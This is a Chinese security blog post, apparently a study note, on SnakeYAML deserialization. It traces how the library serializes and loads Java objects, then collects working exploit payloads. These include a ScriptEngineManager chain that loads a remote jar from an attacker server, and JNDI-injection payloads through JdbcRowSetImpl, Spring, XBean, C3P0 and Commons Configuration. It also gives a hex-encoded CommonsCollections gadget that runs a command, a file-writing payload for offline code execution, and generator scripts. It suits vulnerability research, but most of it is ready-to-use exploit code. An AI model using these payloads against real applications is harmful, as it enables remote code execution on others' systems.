https://drun1baby.top/2022/10/16/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-SnakeYaml-%E9%93%BE/
从HertzBeat聊聊SnakeYAML反序列化 | 离别歌
SnakeYaml反序列化原理分析和利用总结-先知社区
SnakeYaml 之不出网RCE-先知社区

SnakeYaml 是 Java 的 yaml 解析类库,支持 Java 对象的序列化/反序列化。我们先了解一下 yaml 语法:

  1. YAML 大小写敏感;
  2. 使用缩进代表层级关系,这点和 properties 文件的差别非常之大
  3. 缩进只能使用空格,不能使用 TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

SnakeYaml序列化与反序列化

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

SnakeYaml 提供了 Yaml.dump() 和 Yaml.load() 两个函数对 yaml 格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个 Java 对象;
  • Yaml.dump():将一个对象转化为 yaml 文件形式;

dump 是序列化,load 是反序列化,这和 Python Pickle 反序列化的一样的

下面给出demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import org.yaml.snakeyaml.Yaml;  

public class person_test {
public static void serialize(){
Person person = new Person();
person.setName("Meteor_Kai");
person.setAge(20);
Yaml yaml = new Yaml();
String str = yaml.dump(person);
System.out.println(str);
}

public static void main(String[] args) {
serialize();
}
}

反序列化代码如下:

1
2
3
4
5
6
7
8
public static void unserialize(){  
String str1 = "!!Person {age: 20, name: Meteor_Kai}";
String str2 = "age: 20\n" +
"name: Meteor_Kai";
Yaml yaml = new Yaml();
yaml.load(str1);
yaml.loadAs(str2, Person.class);
}

在反序列化之前,我们更改一下Person.java的代码。如果一个库的反序列化方法,能够自动调用 getter/setter 方法,那无疑是很危险的,比如 Fastjson hh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package SerializeTest;  

public class Person {

private String name;
private Integer age;

public Person() {
System.out.println("构造函数被调用");
}

public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}

public String getName() {
System.out.println("getName 方法被调用");
return name;
}

public void setName(String name) {
System.out.println("setName 方法被调用");
this.name = name;
}

public Integer getAge() {
System.out.println("getAge 方法被调用");
return age;
}

public void setAge(Integer age) {
System.out.println("setAge 方法被调用");
this.age = age;
}
}

这一幕,神似fastjson。很明显,调用了 setter 方法,如果我把反序列化的语句改成 "!!SerializeTest.Person {name: Meteor_Kai}",那么就只会调用 setter 中的 setName 方法

调试分析

序列化

我们首先跟进dump方法,进入序列化的过程。

它先是 new 了一个 ArrayList,准备将之后序列化完成的数据存储到这个 ArrayList 里面。这个list中首先存放最初的要被序列化的对象。然后跟进dumpAll方法。

它是在做 dump() 的业务,把 Java 对象转换为 Yaml 类型的字符串。dumpAll的参数data是对象的迭代器。此处其实就是将迭代器中的数据“转储(Dump)”成字符串。buffer是缓冲区,存储java对象转换之后的字符串。然后继续跟进this.dumpAll方法,里面是具体的业务。

这里首先new了一个Serializer对象,Serializer 对象里面放了一个 Emitter 对象。这个方法的作用就是把一个 Java 对象迭代器里的所有元素,序列化成 YAML 格式的字符串,写入到输出流中。

1
2
3
4
5
6
Serializer serializer = new Serializer(
new Emitter(output, this.dumperOptions), // ① 发射器
this.resolver, // ② 解析器
this.dumperOptions, // ③ 配置选项
rootTag // ④ 根标签
);

Emitter负责真正写字符到 Writer 中,处理缩进、换行、冒号等 YAML 语法格式。while循环中的representer把 Java 对象(比如 Person 对象、MapList)转换成 SnakeYAML 内部的 Node(节点)树结构。然后由serializer将node按照 YAML 语法,通过 Emitter 写入到 Writer 中。

接下来我们跟进一下represent方法。对象通过representData方法被转换成node。

那么继续跟进representData方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected final Node representData(Object data) {  
this.objectToRepresent = data;
if (this.representedObjects.containsKey(this.objectToRepresent)) {
Node node = (Node)this.representedObjects.get(this.objectToRepresent);
return node;
} else if (data == null) {
Node node = this.nullRepresenter.representData((Object)null);
return node;
} else {
Class<?> clazz = data.getClass();
Node node;
if (this.representers.containsKey(clazz)) {
Represent representer = (Represent)this.representers.get(clazz);
node = representer.representData(data);
} else {
for(Class<?> repr : this.multiRepresenters.keySet()) {
if (repr != null && repr.isInstance(data)) {
Represent representer = (Represent)this.multiRepresenters.get(repr);
node = representer.representData(data);
return node;
}
}

if (this.multiRepresenters.containsKey((Object)null)) {
Represent representer = (Represent)this.multiRepresenters.get((Object)null);
node = representer.representData(data);
} else {
Represent representer = (Represent)this.representers.get((Object)null);
node = representer.representData(data);
}
}

return node;
}
}

这个方法其实在给定一个 Java 对象,按照“查缓存 → 精确匹配 → 父类/接口匹配 → 默认匹配”的顺序,找到对应的“翻译器(Represent)”,把对象转换成 Node 节点。

此处我们的Person.class会进入最后的默认匹配,因为这是我们自定义的类,它找不到翻译器representer。所以就会获取默认的翻译器representer(RepresentJavaBean)来处理我们的自定义类。

然后我们继续跟进representer.representData(data)。这里其实就是跟进到RepresentJavaBean的representData方法。

发现它直接return一个representJavaBean,这里其实就是接收一个自定义对象(data),获取该类的所有属性信息,然后调用 representJavaBean 方法把这些属性和值转换成 YAML 节点。继续跟进。

此处是SnakeYAML 处理自定义类的“核心引擎”。通过反射遍历 JavaBean 的所有属性,把每个属性名和属性值转换成 YAML 的键值对(NodeTuple),最终组装成一个 MappingNode(即 YAML 里的 key: value 映射结构)

此处的for循环是遍历Person类中的所有属性,利用representJavaBeanProperty方法逐个处理。

然后我们跟进representJavaBeanProperty方法。这里负责把一个 JavaBean 的属性(比如 Person.name)转换成 YAML 的键值对(name: "张三"),并处理各种边界情况(别名、枚举、泛型等)。

nodeKey是键,nodeValue是值。if循环负责处理各种特殊情况。下面稍微解释一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (propertyValue != null && !hasAlias) {  // 只有非空且没有循环引用时才处理
NodeId nodeId = nodeValue.getNodeId();
if (customTag == null) { // 如果没有自定义 Tag
if (nodeId == NodeId.scalar) { // 情况1:属性值是标量(字符串、数字等)
if (property.getType() != Enum.class && propertyValue instanceof Enum) {
nodeValue.setTag(Tag.STR); // ⭐ 枚举强制转成字符串
}
} else { // 情况2:属性值是集合或映射
if (nodeId == NodeId.mapping &&
property.getType() == propertyValue.getClass() &&
!(propertyValue instanceof Map) &&
!nodeValue.getTag().equals(Tag.SET)) {
nodeValue.setTag(Tag.MAP); // ⭐ 自定义对象强制转成 MAP 标签
}
this.checkGlobalTag(property, nodeValue, propertyValue); // ⭐ 检查全局标签配置
}
}
}

最后返回一个组装后的NodeTuple,跟进看看结构。

大致的工作流程就是如上所示,最后我们的键值对会保存到 list 当中
经过逐个处理后会添加到value中。最终representJavaBean会返回一个node(MappingNode)。

然后再回到先前的dumpAll方法,对返回的node进行序列化操作,并由Emiiter写入output并输出。

反序列化

打好断点,跟进load方法。

在 load() 方法中会先 new 一个 StreamReader,将 yaml 数据通过构造函数赋给 StreamReader,再调用 loadFromReader() 方法。

跟进loadFromReader方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object loadFromReader(StreamReader sreader, Class<?> type) {
// 第1步:组装“编译器前端”
Composer composer = new Composer(
new ParserImpl(sreader), // ① 词法分析器
this.resolver, // ② 类型解析器
this.loadingConfig // ③ 加载配置
);

// 第2步:把编译器前端挂载到构造器上
this.constructor.setComposer(composer);

// 第3步:开始解析,返回最终结果
return this.constructor.getSingleData(type);
}

Composer 是 SnakeYAML 的语法树构建器,它把 YAML 的“事件流”转换成“节点树”。

接着我们跟进getSingleData方法,此处的type是Object类。它先创建一个 Node 对象(其中调用 getSingleNote() 会根据流来生成一个文件,即将字符串按照 yaml 语法转为 Node 对象),然后判断当前 Node 是否为空且是否 Tag 为空,若不是则判断 yaml 格式数据的类型是否为 Object 类型、是否有根标签,这里都判断不通过,最后返回调用 constructDocument() 方法的结果。

我们先跟进一下composer.getSingleNode方法看看。最终返回了一个MappingNode。

我们继续跟进一下 constructDocument() 方法。constructDocument() 方法的最终目的是构建一个完整的 YAML 文件,如果文件是递归结构,再进行二次处理(这里的递归结构其实就是我后面会讲的 [!!] 这个)。

主要逻辑在constructObject方法,我们跟进看看。

1
2
3
protected Object constructObject(Node node) {  
return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
}

这里其实就是检查缓存,看node是否已经被构建过了,没有被处理的话我们进入constructObjectNoCheck方法。它负责把一个 Node 节点真正变成 Java 对象,同时处理循环引用两步构造等复杂场景。

先检查循环引用,再获取对应的构造器,实例化对象并缓存,最后处理两步构造(如集合、自定义对象)。

什么是“两步构造”?
有些对象不能一步构造完成,需要先创建空对象,再填充属性。比如:

  • Map 对象:先创建 HashMap,再逐个添加键值对
  • 自定义对象:先通过反射创建实例,再逐个设置字段值
  • 集合对象:先创建 ArrayList,再逐个添加元素

流程

  1. 第一步construct):创建空对象(如 new HashMap()
  2. 第二步construct2ndStep):填充数据(如 map.put("key", value)

然后我们跟进constructor.construct,实例化对象的部分。

这里的this是ConstructYamlObject。

我们先跟进getConstructor方法看看。它的职责是:根据节点的类型(NodeId)找到对应的构造器(Construct),并确保节点的 Java 类型被正确设置。

然后我们跟进getClassForNode方法

继续跟进getClassForName方法,它是通过反射,给 Node 节点选取合适的构造类。同时此处可以初始化静态块里面的函数,这是一个很值得被注意的点。

然后我们就能成功获取到对应的构造器。

接着进入构造器的construct方法。这里是反序列化的终极工厂,负责把 MappingNode(YAML 的键值对结构)转换成 Java 对象。它处理了三种情况:Map、Set、自定义 JavaBean

此处我们的Person类肯定是自定义JavaBean,那么进入的就是else部分。

实例化后要判断是否进行第二步构造,第一步其实就是构造出了一个Person对象的空壳,属性值都是null,然后我们要进入constructJavaBean2ndStep方法进行二次构造。

其中会获取 yaml 格式数据中的属性的键值对,然后调用 propert.set() 来设置新建的目标对象的属性值。

然后这个方法最终会返回一个object对象,就是经过第二步构造的完整对象。

至此,反序列化部分结束。

一个坑点

修改了 Person.java,新增一个 public 的 school 以及 protected 的 province。在序列化的时候发现,getSchool 这个方法没被调用。反序列化的时候setSchool也没有被调用。

在反序列化的最后一步,会调用 propert.set() 来设置新建的目标对象的属性值
而这个 Property 的设置在org.yaml.snakeyaml.introspector.PropertyUtils#getPropertiesMap

我们跟进getProperty方法

然后我们会逐步跟进到getPropertiesMap方法处

可以看到这个如果是 Public 修饰的话,这意味着:SnakeYAML 会把这个字段当作可访问的属性,直接通过反射读写它,不需要 getter/setter!public 字段 → 直接加入 Property 缓存。

SnakeYaml反序列化漏洞之SPI链

比较类似于 Fastjson 的漏洞,这里的 !! 就是 Fastjson 漏洞里面的 @type

与 Fastjson 不同的是,Fastjson 可以调用的 getter/setter 方法的攻击面很宽,而 SnakeYaml 只能够调用非 public,static 以及 transient 作用域的 setter 方法

利用 SPI 机制 - 基于 ScriptEngineManager 利用链

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
newInstance:396, Class (java.lang)  
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
construct:557, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:341, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
main:10, Demo (BasicKnow.SnakeymlUnser)

exp使用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class SPInScriptEngineManager {  
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://xcdi1rgv45xnlhko7su6y8n22t8kwakz.oastify.com\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

!!javax.script.ScriptEngineManager
[
!!java.net.URLClassLoader
[
[
!!java.net.URL ["http://..."]
]
]
]

成功接收到URLDNS请求
但是这个 EXP 只能简单的进行探测,如果要打的话,可以用这一个 Github 项目:GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads · GitHub
直接修改代码即可,脚本也比较简单,就是实现了 ScriptEngineFactory 接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到 vps 端,使用 payload 进行反序列化后请求到该位置,实现 java.net.URLClassLoader 调用远程的类进行执行命令。

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

打包后开启http服务

1
2
3
4
5
6
7
8
9
10
11
import org.yaml.snakeyaml.Yaml;  

public class scriptenginemanager_exp {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://localhost:8888/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

SPI机制

SPI 以及 ScriptEngineManager 最早是在 SpEL 表达式里面被提到的,这里再复习一下。

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath 路径下的 META-INF/services 文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现

那么如果需要使用 SPI 机制需要在 Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

实现细节:程序会通过 java.util.ServiceLoder 动态装载实现模块,在 META-INF/services 目录下的配置文件寻找实现类的类名,通过 Class.forName 加载进来, newInstance() 反射创建对象,并存到缓存和列表里面。

漏洞分析

这里我们直接从 org.yaml.snakeyaml.constructor.Constructor#getClassForName() 这里开始看,去理解 SPI 机制造成的攻击。这里会加载类并返回,最后返回我们的ScriptEngineManager类,并获取其构造器constructor。

然后我们继续跟进construct方法,也就是我们先前获取到的构造器的construct方法。
经过一些简单的判断后,我们进入else部分(自定义Sequence)

我们先new一个ArrayList。然后为 YAML 序列(snode)寻找一个“参数数量匹配”的 Java 构造器。而后将获取到的 possibleConstructors 获取到的第一个数组进行赋值并转换成 Constructor 类型。

之后,对 c 进行实例化,我们可以跟进看一下,后续也都是一串 newInstance() 的调用,快进一下,直接到 newInstance0 这里

一开始加载的是 URL 类的,因为我们的 EXP 里面包含了三个类,这就和 Fastjson 的 AutoType 是一样的,前两个类作为第三个类的缓存。

接着,当执行完 newInstance() 的时候,会到 ScriptEngineManager 里面,触发 SPI 机制,然后触发恶意代码。

SnakeYaml反序列化漏洞的Gadgets

SPI

先看看上面SPI链:

1
2
3
4
5
6
7
8
9
!!javax.script.ScriptEngineManager   # 外部对象:脚本引擎管理器
[ # 这是向 ScriptEngineManager 构造器传递的参数
!!java.net.URLClassLoader # 参数对象:URL类加载器
[ # 这是向 URLClassLoader 构造器传递的参数
[ # 注意:这里多了一层方括号,实际上是 URL 数组
!!java.net.URL ["http://localhost:8888/yaml-payload.jar"]
]
]
]

这里的 [!! 是作为 javax.script.ScriptEngineManager 的属性的,就等于我调用了 javax.script.ScriptEngineManager 这个类,其实我是在调用它的构造函数

相当于上图的loader参数其实是我们的URLClassLoader

那么后面的 java.net.URL 呢,它是 [[!! 打头,说明是 URLClassLoder 的内部属性,我们可以去看 URLClassLoader 的构造函数,它要求我们传入一个 URL 类,所以 EXP 是这么来的

JdbcRawSetImpl

调用链比较简单,尾部是 JNDI 注入,是在 com.sun.rowset.JdbcRowSetImpl 的 connect() 方法

熟悉的jndi注入,查找用法发现setAutoCommit方法,是可被利用的setter方法。

调用链如下:

1
2
3
JdbcRowSetImpl#setAutoCommit
JdbcRowSetImpl#connect
InitialContext#lookup

exp如下:

1
2
3
4
5
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";

String payload = "!!com.sun.rowset.JdbcRowSetImpl\n" +
" dataSourceName: \"rmi://127.0.0.1:1099/hello\"\n" +
" autoCommit: true";

同时,我们要去触发的恶意 dataSource 属性的作用域是private,所以可用

Spring PropertyPathFactoryBean

exp如下:

1
2
3
4
5
6
7
8
9
10
11
public class SpringPropertyPathFactoryBeanEXP {  
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1099/Exploit\"\n" +
" propertyPath: Meteor_Kai\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1099/Exploit\"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

注意此处漏洞利用需要添加pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>  
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.27</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.27</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.27</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.27</version>
</dependency>

触发点在此处,我们把beanFactory设置成SimpleJndiBeanFactory即可触发到。

设置targetBeanName为ldap://localhost:1099/Exploit。同时注意满足上面的if语句,propertyPath不为null。beanFactory.isSingleton要为true。

所以让shareableResources跟targetBeanName一样即可。
然后最后触发jndi注入的地方如下:

展示:

Apache XBean

1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

在 ContextUtil 的内部类 ReadOnlyBinding 里面的 getObject() 方法里面,调用了 ContextUtil.resolve()

然后我们在其中发现了一个 Jndi 注入的注入点

开始构造exp:

1
2
3
4
String payload = "!!javax.management.BadAttributeValueExpException " +  
"[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " +
"[\"Drunkbaby\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8888/\"]," +
"!!org.apache.xbean.naming.context.WritableContext []]]";

接下来我们可以分析一下,逐步构造payload
reference从resolve的value参数而来,而value参数是构造函数的第二个参数。

那么我们首先可以构造初步的payload:

1
2
String payload = " !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " +  
"[ \"Meteor_Kai\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8888/\"]]";

但是我们无法触发getValue啊,setter才能触发。
这里就用到了 BadAttributeValueExpException 这个类

其中接受object参数,后触发val.toString()方法。那就是触发ReadOnlyBinding的toString方法,然后我们看看源码。发现其继承自Binding类,同时Binding类中存在toString方法且调用了getObject,完美闭环。

构造exp:

1
2
3
4
String payload = "!!javax.management.BadAttributeValueExpException" +  
" [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding" +
" [\"Meteor_Kai\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8888/\"]," +
"!!org.apache.xbean.naming.context.WritableContext []]]";

C3P0 JndiRefForwardingDataSource

exp如下:
跟fastjson反序列化的几乎是一模一样的。

1
2
3
4
5
6
7
8
9
public class C3P0JndiRefForwardingDataSourceEXP {  
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost:1099/Exploit\"\n" +
" loginTimeout: 1";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

C3P0 WrapperConnectionPoolDataSource

同样也是 C3P0 的一条链子,使用了hexbase攻击。
exp如下:

1
2
String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +  
" userOverridesAsString: \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707400094d6574656f724b61697372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65707400096765744d6574686f64757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001c7371007e00137571007e0018000000027070740006696e766f6b657571007e001c00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e00137571007e00180000000174000463616c63740004657865637571007e001c0000000171007e001f7371007e00003f4000000000000c77080000001000000000787871007e000678;\"";

这里的hex值通过c3p0链的脚本获得,要结合cc链。注意不能大写,要小写才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.alibaba.fastjson.JSON;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class myexp_hexbase {

public static Map CC6() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap=new HashMap<>();
Map lazymap= LazyMap.decorate(hashmap,new ConstantFactory(1));
TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"MeteorKai");
HashMap<Object,Object>expmap=new HashMap<>();
expmap.put(tiedmapentry,"MeteorKai");
lazymap.remove("MeteorKai");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);

return expmap;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

public static void main(String[] args) throws Exception {
String hex_payload = toHexAscii(tobyteArray(CC6()));
//fastjson <= 1.2.24
// String payload = "{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex_payload + ";\"," +
// "}";

//fastjson < 1.2.47 String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex_payload + ";\"," +
"}" +
"}";
JSON.parse(payload);
System.out.println(hex_payload);
}

}

Apache Commons Configuration

依赖

1
2
3
4
5
<dependency>  
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>

exp如下:

1
payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/hello\"]]: 1";

然后我们顺着分析一下调用链:
ConfigurationMap中存在put方法,其中调用configuration.getProperty

我们把configuration设置为JNDIConfiguration,然后跟进JNDIConfiguration#getProperty

发现其中存在lookup!一眼jndi注入。但是实际上我们的注入点不在这里,因为key是null啊!我们跟进getBaseContext方法。发现其中也存在lookup,且后面的值是我们可控的this.prefix

我们需要通过构造函数设置context为javax.naming.InitialContext,以及prefix为jndi的payload。

然后就是如何触发ConfigurationMap的put方法了。这个点我们在CC链遇到过。当 SnakeYAML 反序列化一个 Map 类型的对象,并且遇到 key: value 这样的键值对时,它会调用 Map.put(key, value) 来填充数据。

那么就可以构造exp了:

1
2
3
4
5
6
7
8
9
10
payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/hello\"]]: 1";

!!org.apache.commons.configuration.ConfigurationMap
[
!!org.apache.commons.configuration.JNDIConfiguration
[
!!javax.naming.InitialContext [],
"rmi://127.0.0.1:1099/hello"
]
]: 1

这里其实有个疑问,为什么!!javax.naming.InitialContext []需要加上[],无参构造不是省略就行了嘛?问AI得到如下:

利用fastjson1.2.68写文件

先看看fastjson的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'1.txt',
'append':false
},
'infl':
{
'input':'你的内容的base64编码'
},
'bufLen':1048576
},
'protocolVersion':1
}

我们改写成yaml的格式:

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater  { input: !!binary base64str },1048576]]

Destpath是目的路径,base64str为经过zlib压缩过后的文件内容
注意一定要zlib压缩

1
cat yaml-payload.jar | openssl zlib | base64 -w 0

这里给出一个好用的poc生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar");
Yaml yaml = new Yaml();
yaml.load(poc);

}

public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
